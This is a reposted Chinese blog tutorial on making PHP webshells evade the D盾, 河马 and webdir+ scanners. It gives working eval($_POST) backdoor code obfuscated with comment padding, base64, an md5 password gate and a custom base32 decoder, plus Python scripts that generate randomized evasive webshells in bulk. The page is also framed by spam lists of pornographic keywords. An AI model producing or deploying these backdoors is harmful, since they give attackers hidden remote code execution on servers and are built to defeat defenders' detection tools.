日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

利用注释及自定义加密免杀Webshell

發(fā)布時(shí)間:2024/1/23 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 利用注释及自定义加密免杀Webshell 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

0x00:簡(jiǎn)介

此篇只討論php,其實(shí)原理是相同的,本文的思路依然適用于其他語(yǔ)言
由于php7.1以后assert不能拆分了,所以此篇不使用assert函數(shù)作為核心,使用適用性更廣的eval。

免殺順序依次為D盾 河馬 webdir+

0x01:探究免殺

免殺D盾

首先我們需要了解免殺的原理,免殺其實(shí)就是繞過(guò)殺軟的規(guī)則,而規(guī)則對(duì)我們來(lái)說(shuō)是不透明的,但是可以根據(jù)fuzz探知個(gè)大概。

首先請(qǐng)出我們的一句話木馬:

<?php @eval($_POST('a'));?>

無(wú)論如何混淆webshell,我們期望最終得到的邏輯依然是這條代碼,所以答案知道了,想辦法混淆就行了。

經(jīng)過(guò)對(duì)D盾的探測(cè),可以知道,它對(duì)函數(shù)的檢測(cè)其實(shí)是比較粗糙的,比如我們構(gòu)造一個(gè)函數(shù),讓其返回值拼接為

eval($_POST['a']) <?phpfunction x() {return $_POST['a'];}eval(x()); ?>

D盾掃一下

被殺了,顯然D盾并沒(méi)有給出我們?yōu)槭裁催@個(gè)會(huì)被殺,只說(shuō)是已知后門,這里我們測(cè)試一下到底是什么東西被規(guī)則殺掉了。

首先,無(wú)論如何更改函數(shù)名,都會(huì)被殺掉,所以和函數(shù)名沒(méi)關(guān)系,然后就是eval內(nèi)的參數(shù)了,測(cè)試后發(fā)現(xiàn),只要拼接成eval($_POST['a'])就會(huì)被殺,因此我們避免語(yǔ)句直接拼接為這樣即可。

如何避免直接拼接呢 當(dāng)然是往中間加料了 加一些既不會(huì)破壞語(yǔ)法又能起到隔離作用的東西,什么東西可以做到這樣呢?當(dāng)然就是注釋了

比如這樣的:

<?phpfunction x() {return "/*sasas23123*/".$_POST['a']."/*sdfw3123*/";}eval(x()); ?>

這里用兩段注釋在"eval("與"$_POST"之間起到了隔離的作用,因此繞過(guò)了直接拼接這個(gè)規(guī)則,D盾繼續(xù)殺一下


已經(jīng)免殺成功,再看一下能否使用


既然如此,我們的核心繞過(guò)思路就是利用注釋了,為了去除特征,必不可少的就是隨機(jī)性了

?

使用函數(shù)返回值與eval拼接只是權(quán)宜之計(jì),畢竟也是一條規(guī)則就能夠被干掉的。

所以我們這里使用類和構(gòu)造函數(shù)來(lái)替代主動(dòng)調(diào)用函數(shù),

<?php class x {function __construct(){ @eval("/*sasas23123*/".$_POST['a']."/*sdfw3123*/");}} new x();?>

改到這里,我不禁想 如果D盾發(fā)狠把".$_POST['a']."當(dāng)獨(dú)立規(guī)則,那豈不是也歇菜,所以,我決定使用base64編碼將"$_POST['a']"轉(zhuǎn)化一下

<?php class x {public $payload = null;public $decode_payload = null;function __construct(){ $this->payload='ZXZhbCgkX1BPU1RbYV0pOw==';$this->decode_payload = @base64_decode( $this->payload );@eval("/*sasas23123*/".$this->decode_payload."/*sdfw3123*/");}} new x();?>

到現(xiàn)在為止,模板確認(rèn)

后面就是寫輪子了,至于輪子原理也很簡(jiǎn)單,就是將可以修改特征的參數(shù)名使用隨機(jī)數(shù)填充,比如類名、public變量名、用于混淆的注釋字符等。
代碼如下:

import random#author: pureqh #github: https://github.com/pureqh/webshellshell = '''<?php class {0}{3}public ${1} = null;public ${2} = null;function __construct(){3}$this->{1}='ZXZhbCgkX1BPU1RbYV0pOw==';$this->{2} = @base64_decode( $this->{1} );@eval({5}.$this->{2}.{5});{4}{4} new {0}(); ?>'''def random_keys(len):str = '`~-=!@#$%^&_+?<>|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'return ''.join(random.sample(str,len))def random_name(len):str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'return ''.join(random.sample(str,len)) def build_webshell():className = random_name(4)parameter1 = random_name(5)parameter2 = random_name(6)lef = '''{'''rig = '''}'''disrupt = "\"/*"+random_keys(7)+"*/\""shellc = shell.format(className,parameter1,parameter2,lef,rig,disrupt)return shellcif __name__ == '__main__':print (build_webshell())

?

免殺河馬

首先我們拿出之前的樣本:

<?php class YHUV{public $BSFRM = null;public $YVMQFW = null;function __construct(){$this->BSFRM='ZXZhbCgkX1BPU1RbYV0pOw==';$this->YVMQFW = @base64_decode( $this->BSFRM );@eval("/*rEgV_Cd*/".$this->YVMQFW."/*rEgV_Cd*/");}} new YHUV(); ?>

直接拿去河馬查殺一下,


它很可能通過(guò)拼接得到了"eval($_POST[xxx]);",所以認(rèn)定為木馬,那我加一層認(rèn)證如何

<?php class BTAG {public $QOMYW = null;public $XGTCPL = null;public $YIOXAL = null;function __construct() {if (md5($_GET["pass"]) == "df24bfd1325f82ba5fd3d3be2450096e"){$this->QOMYW = 'ZXZhbCgkX1BPU';$this->YIOXAL = '1RbYV0pOw==';$this->XGTCPL = @base64_decode($this->QOMYW.$this->YIOXAL);@eval("/*#`|W$~Q*/".$this->XGTCPL."/*#`|W$~Q*/");}}} new BTAG(); ?>

這個(gè)我是真沒(méi)想到...

免殺webdir+

官方說(shuō)它會(huì)拿沙盒跑

我們拿繞過(guò)河馬的馬跑一下,這里的檢測(cè)速度之所以比較慢就是因?yàn)樗谂苌澈?#xff0c;這種方式確實(shí)比傳統(tǒng)的查殺工具難搞很多,但是它并不完美。

由于eval依然無(wú)法動(dòng)搖,所以我依舊從"$_POST['a']"下手,首先這串字符編碼后是過(guò)不去webdir+的,但是不編碼也過(guò)不去,我猜測(cè)可能是沙盒在模擬運(yùn)行的時(shí)候拼接出了eval($_POST['a]),導(dǎo)致被殺,那我使用md5做密鑰它總跑不出來(lái)吧。修改代碼如下:

<?php class YHUV{public $BSFRM = null;public $YNMQFW = null;function __construct() {if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){$this->BSFRM=$_POST['a'];@eval("/*rEgV_Cd*/".$this->BSFRM."/*rEgV_Cd*/");}}} new YHUV(); ?>

還是被殺了,我反而很高興,那這也說(shuō)明一個(gè)問(wèn)題,你并沒(méi)有順利執(zhí)行過(guò)我的馬,那說(shuō)明我eval()里的東西一直都是安全的,那么不安全的肯定就是"$_POST['a']"了,這個(gè)怎么解決呢?

經(jīng)過(guò)大量測(cè)試 我發(fā)現(xiàn)了一個(gè)事情 base64不行了

base64不行了怎么辦?我直接用base32,php沒(méi)有自帶的base32?那就自己寫

function base32_encode($input) {$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwexyz234567';$output = '';$v = 0;$vbits = 0;for ($i = 0, $j = strlen($input); $i < $j; $i++) {$v <<= 8;$v += ord($input[$i]);$vbits += 8;while ($vbits >= 5) {$vbits -= 5;$output .= $BASE32_ALPHABET[$v >> $vbits];$v &= ((1 << $vbits) - 1);}}if ($vbits > 0) {$v <<= (5 - $vbits);$output .= $BASE32_ALPHABET[$v];}return $output; }function base32_decode($input) {$output = '';$v = 0;$vbits = 0;for ($i = 0, $j = strlen($input); $i < $j; $i++) {$v <<= 5;if ($input[$i] >= 'a' && $input[$i] <= 'z') {$v += (ord($input[$i]) - 97);} elseif ($input[$i] >= '2' && $input[$i] <= '7') {$v += (24 + $input[$i]);} else {exit(1);}$vbits += 5;while ($vbits >= 8) {$vbits -= 8;$output .= chr($v >> $vbits);$v &= ((1 << $vbits) - 1);}}return $output; }

shell如下,直接使用base32處理"eval($_POST[zero]);"

<?php class ZQIH{public $a = null;public $b = null;public $c = null;function __construct(){if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){$this->a = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';$this->LGZOJH = @base32_decode($this->a);@eval/*sopupi3240-=*/("/*iSAC[FH*/".$this->LGZOJH."/*iSAC[FH*/");}}} new ZQIH();function base32_encode($input) {$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';$output = '';$v = 0;$vbits = 0;for ($i = 0, $j = strlen($input); $i < $j; $i++) {$v <<= 8;$v += ord($input[$i]);$vbits += 8;while ($vbits >= 5) {$vbits -= 5;$output .= $BASE32_ALPHABET[$v >> $vbits];$v &= ((1 << $vbits) - 1);}}if ($vbits > 0) {$v <<= (5 - $vbits);$output .= $BASE32_ALPHABET[$v];}return $output; }function base32_decode($input) {$output = '';$v = 0;$vbits = 0;for ($i = 0, $j = strlen($input); $i < $j; $i++) {$v <<= 5;if ($input[$i] >= 'a' && $input[$i] <= 'z') {$v += (ord($input[$i]) - 97);} elseif ($input[$i] >= '2' && $input[$i] <= '7') {$v += (24 + $input[$i]);} else {exit(1);}$vbits += 5;while ($vbits >= 8) {$vbits -= 8;$output .= chr($v >> $vbits);$v &= ((1 << $vbits) - 1);}}return $output; } ?>

繼續(xù)查殺:


能否運(yùn)行:


至此,我們似乎找到了盲點(diǎn),以后直接自己寫加密完事了。可惜一句話木馬也被寫成一段話木馬了。。。不過(guò)在滲透測(cè)試過(guò)程中完全可以將其拆分為多個(gè)文件互相調(diào)用。

0x02:批量代碼

同樣為了減少特征
代碼如下

import random#author: pureqh #github: https://github.com/pureqh/webshell #use:GET:http://url?pass=pureqh POST:zeroshell = '''<?php class {0}{1}public ${2} = null;public ${3} = null;function __construct(){1}if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){1}$this->{2} = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';$this->{3} = @{9}($this->{2});@eval({5}.$this->{3}.{5});{4}{4}{4} new {0}(); function {6}(${7}){1}$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';${8} = '';$v = 0;$vbits = 0;for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1}$v <<= 8;$v += ord(${7}[$i]);$vbits += 8;while ($vbits >= 5) {1}$vbits -= 5;${8} .= $BASE32_ALPHABET[$v >> $vbits];$v &= ((1 << $vbits) - 1);{4}{4}if ($vbits > 0){1}$v <<= (5 - $vbits);${8} .= $BASE32_ALPHABET[$v];{4}return ${8};{4} function {9}(${7}){1}${8} = '';$v = 0;$vbits = 0;for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1}$v <<= 5;if (${7}[$i] >= 'a' && ${7}[$i] <= 'z'){1}$v += (ord(${7}[$i]) - 97);{4} elseif (${7}[$i] >= '2' && ${7}[$i] <= '7') {1}$v += (24 + ${7}[$i]);{4} else {1}exit(1);{4}$vbits += 5;while ($vbits >= 8){1}$vbits -= 8;${8} .= chr($v >> $vbits);$v &= ((1 << $vbits) - 1);{4}{4}return ${8};{4} ?>'''def random_keys(len):str = '`~-=!@#$%^&_+?<>|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'return ''.join(random.sample(str,len))def random_name(len):str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'return ''.join(random.sample(str, len))def build_webshell():className = random_name(4)lef = '''{'''parameter1 = random_name(4)parameter2 = random_name(4)rig = '''}'''disrupt = "\"/*"+random_keys(7)+"*/\""fun1 = random_name(4)fun1_vul = random_name(4)fun1_ret = random_name(4)fun2 = random_name(4)shellc = shell.format(className, lef, parameter1, parameter2, rig, disrupt, fun1, fun1_vul, fun1_ret, fun2)return shellcif __name__ == '__main__':print (build_webshell())

?

總結(jié)

以上是生活随笔為你收集整理的利用注释及自定义加密免杀Webshell的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 青草91| 四虎一国产精品一区二区影院 | 黄色三级视频在线观看 | 亚洲va久久久噜噜噜无码久久 | www.成人在线 | 国产精品5| 扒丝袜 | 天天操天天射天天舔 | 黑人vs亚洲人在线播放 | 2019天天操 | 日本黄在线 | 欧美另类极品videosbest使用方法 | 成人av入口| 黑人极品videos精品欧美裸 | 国产99在线视频 | 黄色一区二区三区 | 欧美www视频 | 男人添女人荫蒂国产 | 天天操夜夜草 | 欧美成人精精品一区二区频 | 中文字幕制服诱惑 | 在线播放黄色网址 | 久久久久久免费毛片精品 | 美女扒开大腿让男人桶 | 久久理论视频 | 欧美日韩xxx | 中出在线观看 | 91爱爱com | 青草青在线 | 婷婷激情成人 | 二级毛片| 午夜性影院 | 日韩在线黄色 | 久久久久久久久久网站 | 成年人在线观看网站 | 人妻人人澡人人添人人爽 | 在线播放一区二区三区 | 欧美在线性 | 成人免费短视频 | 欧美精品成人一区二区三区四区 | 色片在线免费观看 | 青青草视频在线观看免费 | 日本裸体xx少妇18在线 | 老女人一毛片 | 国产丝袜美腿一区二区三区 | 欧美日韩一区在线播放 | 亚洲妇女av| 一区二区国产视频 | 夜夜嗨网站 | 亚洲在线a | 一级伦理农村妇女愉情 | 超爽视频| a在线看 | а√中文在线资源库 | 亚洲自拍av在线 | 1024av在线 | 欧洲成人在线视频 | 另类一区 | 成人在线视频在线观看 | 少妇爽 | 99视频国产精品 | 天天色天天干天天 | 日韩成人av网站 | 久久青青草原亚洲av无码麻豆 | 琪琪色网| 欧美日韩久久久久 | 西西人体做爰大胆gogo | 久久久久一区二区三区四区 | 日本免费一区二区三区最新 | 99精品免费观看 | 亚洲国产精品久久久久久6q | 中文字幕第一页av | 日日日插插插 | 欧美视频一级 | 久久久精品 | 亚色一区 | 1000亚洲裸体人体 | 天天干天天插天天射 | 性欧美ⅹxxxx极品护士 | 91最新地址 | 在线免费观看av网 | 国产精品igao视频 | 男人插女人的网站 | www.chengren | 国产性生活一级片 | 亚洲精品乱码久久久久久蜜桃不卡 | 亚洲熟妇一区二区 | 欧美成人免费视频 | 在线观看麻豆 | 欧洲一级黄 | 中文字幕一区三区 | 尤物精品视频在线观看 | 好男人www社区| 性色av浪潮 | 久久久久久久久久久久久久免费看 | 色综合五月 | 浪潮av网站| 精品国产网站 | 日韩城人免费 |